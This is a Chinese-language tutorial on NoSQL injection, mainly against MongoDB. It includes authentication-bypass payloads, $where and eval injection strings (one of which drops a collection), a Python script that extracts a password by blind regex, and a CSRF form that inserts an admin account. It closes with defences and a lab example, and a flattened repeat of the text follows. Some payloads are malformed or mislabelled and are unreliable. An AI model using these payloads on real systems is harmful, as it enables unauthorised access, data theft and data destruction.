Nosql注入总结
字数 1460 2025-08-11 11:39:36

NoSQL注入攻击全面指南

一、NoSQL数据库基础

1. NoSQL数据库概述

NoSQL数据库(Not Only SQL)是一种非关系型数据库,主要特点包括:

  • 非表格格式存储数据
  • 灵活的数据模型
  • 易于水平扩展
  • 适合处理大量非结构化数据

2. NoSQL数据库类型

类型 描述 代表产品
文档数据库 以类似JSON格式存储数据 MongoDB, CouchDB
键值数据库 简单的键值对存储 Redis, DynamoDB
宽列存储 表格式但列可动态变化 Cassandra, HBase
图形数据库 以节点和边存储关系数据 Neo4j, JanusGraph

3. NoSQL数据库优势

  1. 高性能:如Redis单节点每秒可处理10万+读写操作
  2. 易扩展:天然支持水平扩展
  3. 低成本:相比关系型数据库授权费用低
  4. 灵活数据模型:无需预定义字段结构

二、NoSQL注入原理与分类

1. 基本原理

NoSQL注入与传统SQL注入类似,但利用的是特定NoSQL产品的查询语法。攻击特点:

  • 查询使用应用程序编程语言编写(PHP/JS/Python等)
  • 成功注入可能执行数据库和应用程序命令

2. 攻击分类

按语言分类

  • PHP数组注入
  • JavaScript注入
  • Mongo Shell拼接注入

按攻击机制分类

  • 重言式注入(永真式)
  • 联合查询注入
  • JavaScript注入
  • 盲注
  • 背负式查询
  • 跨域违规

三、NoSQL注入攻击技术详解

1. 重言式注入(永真式)

原理:注入代码使条件表达式永远为真,绕过认证

MongoDB操作符

  • $gt(大于)
  • $lt(小于)
  • $ne(不等于)
  • $eq(等于)
  • $regex(正则匹配)

示例

username[$ne]=1&password[$ne]=1

转换为查询:

db.users.find({'username':{$ne:1}, 'password':{$ne:1}})

2. 联合查询注入

原理:通过字符串拼接改变查询逻辑

示例

username=admin', $or:a': 'a&password='

转换为查询:

db.users.find({ username: 'admin', $or:a':'a', password: '' })

3. JavaScript注入

利用点:MongoDB的$where操作符执行JS代码

示例

username=1&password=1';return true//

转换为查询:

db.users.find({$where: "function(){return true}"})

4. Command方法注入

危险操作:直接执行Shell命令

示例PHP漏洞代码

$cmd = new MongoDB\Driver\Command([
    'eval' => "db.users.distinct('username',{'username':'$username'})"
]);

攻击payload

username=1'});db.users.drop();db.user.find({'username':'1

5. 盲注技术

利用操作符

  • $eq(等于)
  • $regex(正则匹配)

判断密码长度

http://example.com?username=admin&password[$regex]=.{5}

自动化脚本示例

import requests
import string

password = ''
url = 'http://example.com/login'

while True:
    for c in string.printable:
        payload = {
            "username": "admin",
            "password[$regex]": f"^{password + c}"
        }
        r = requests.post(url, data=payload)
        if 'Login Success' in r.text:
            password += c
            print(f"[+] Found: {password}")
            break

6. 背负式查询(Burdened Query)

原理:通过注入换行符执行多条命令

示例

key1 0 3600 4\r\nabcd\r\nset key2 0 3600 4\r\ninject\r\n

7. 跨域违规(CSRF攻击)

攻击场景:针对暴露REST API的NoSQL数据库

示例攻击代码

<form action="http://internal.db/hr/admins/_insert" method="POST">
    <input type="text" name="docs" value='[{"username":"attacker"}]' />
</form>
<script>document.forms[0].submit();</script>

四、NoSQL注入防御措施

  1. 输入验证:严格校验所有用户输入
  2. 参数化查询:使用驱动程序提供的安全方法
  3. 最小权限原则:限制数据库账户权限
  4. 禁用危险功能:如eval$where操作符
  5. 启用认证:配置数据库访问控制
  6. 更新补丁:保持数据库和驱动最新版本
  7. 防火墙规则:限制数据库网络访问

五、实战案例

1. HackTheBox靶机Shoppy

攻击方式:Node.js环境下的MongoDB重言式注入

payload示例

username[$ne]=1&password[$ne]=1

2. Node.js注入靶场

测试环境vulnerable-node-app

六、总结

NoSQL注入虽然原理与传统SQL注入不同,但危害同样严重。攻击者可以利用各种技术绕过认证、提取数据甚至执行任意代码。防御需要从开发习惯、配置管理和架构设计多方面入手。

NoSQL注入攻击全面指南 一、NoSQL数据库基础 1. NoSQL数据库概述 NoSQL数据库(Not Only SQL)是一种非关系型数据库,主要特点包括: 非表格格式存储数据 灵活的数据模型 易于水平扩展 适合处理大量非结构化数据 2. NoSQL数据库类型 | 类型 | 描述 | 代表产品 | |------|------|---------| | 文档数据库 | 以类似JSON格式存储数据 | MongoDB, CouchDB | | 键值数据库 | 简单的键值对存储 | Redis, DynamoDB | | 宽列存储 | 表格式但列可动态变化 | Cassandra, HBase | | 图形数据库 | 以节点和边存储关系数据 | Neo4j, JanusGraph | 3. NoSQL数据库优势 高性能 :如Redis单节点每秒可处理10万+读写操作 易扩展 :天然支持水平扩展 低成本 :相比关系型数据库授权费用低 灵活数据模型 :无需预定义字段结构 二、NoSQL注入原理与分类 1. 基本原理 NoSQL注入与传统SQL注入类似,但利用的是特定NoSQL产品的查询语法。攻击特点: 查询使用应用程序编程语言编写(PHP/JS/Python等) 成功注入可能执行数据库和应用程序命令 2. 攻击分类 按语言分类 PHP数组注入 JavaScript注入 Mongo Shell拼接注入 按攻击机制分类 重言式注入(永真式) 联合查询注入 JavaScript注入 盲注 背负式查询 跨域违规 三、NoSQL注入攻击技术详解 1. 重言式注入(永真式) 原理 :注入代码使条件表达式永远为真,绕过认证 MongoDB操作符 : $gt (大于) $lt (小于) $ne (不等于) $eq (等于) $regex (正则匹配) 示例 : 转换为查询: 2. 联合查询注入 原理 :通过字符串拼接改变查询逻辑 示例 : 转换为查询: 3. JavaScript注入 利用点 :MongoDB的 $where 操作符执行JS代码 示例 : 转换为查询: 4. Command方法注入 危险操作 :直接执行Shell命令 示例PHP漏洞代码 : 攻击payload : 5. 盲注技术 利用操作符 : $eq (等于) $regex (正则匹配) 判断密码长度 : 自动化脚本示例 : 6. 背负式查询(Burdened Query) 原理 :通过注入换行符执行多条命令 示例 : 7. 跨域违规(CSRF攻击) 攻击场景 :针对暴露REST API的NoSQL数据库 示例攻击代码 : 四、NoSQL注入防御措施 输入验证 :严格校验所有用户输入 参数化查询 :使用驱动程序提供的安全方法 最小权限原则 :限制数据库账户权限 禁用危险功能 :如 eval 和 $where 操作符 启用认证 :配置数据库访问控制 更新补丁 :保持数据库和驱动最新版本 防火墙规则 :限制数据库网络访问 五、实战案例 1. HackTheBox靶机Shoppy 攻击方式 :Node.js环境下的MongoDB重言式注入 payload示例 : 2. Node.js注入靶场 测试环境 : vulnerable-node-app 六、总结 NoSQL注入虽然原理与传统SQL注入不同,但危害同样严重。攻击者可以利用各种技术绕过认证、提取数据甚至执行任意代码。防御需要从开发习惯、配置管理和架构设计多方面入手。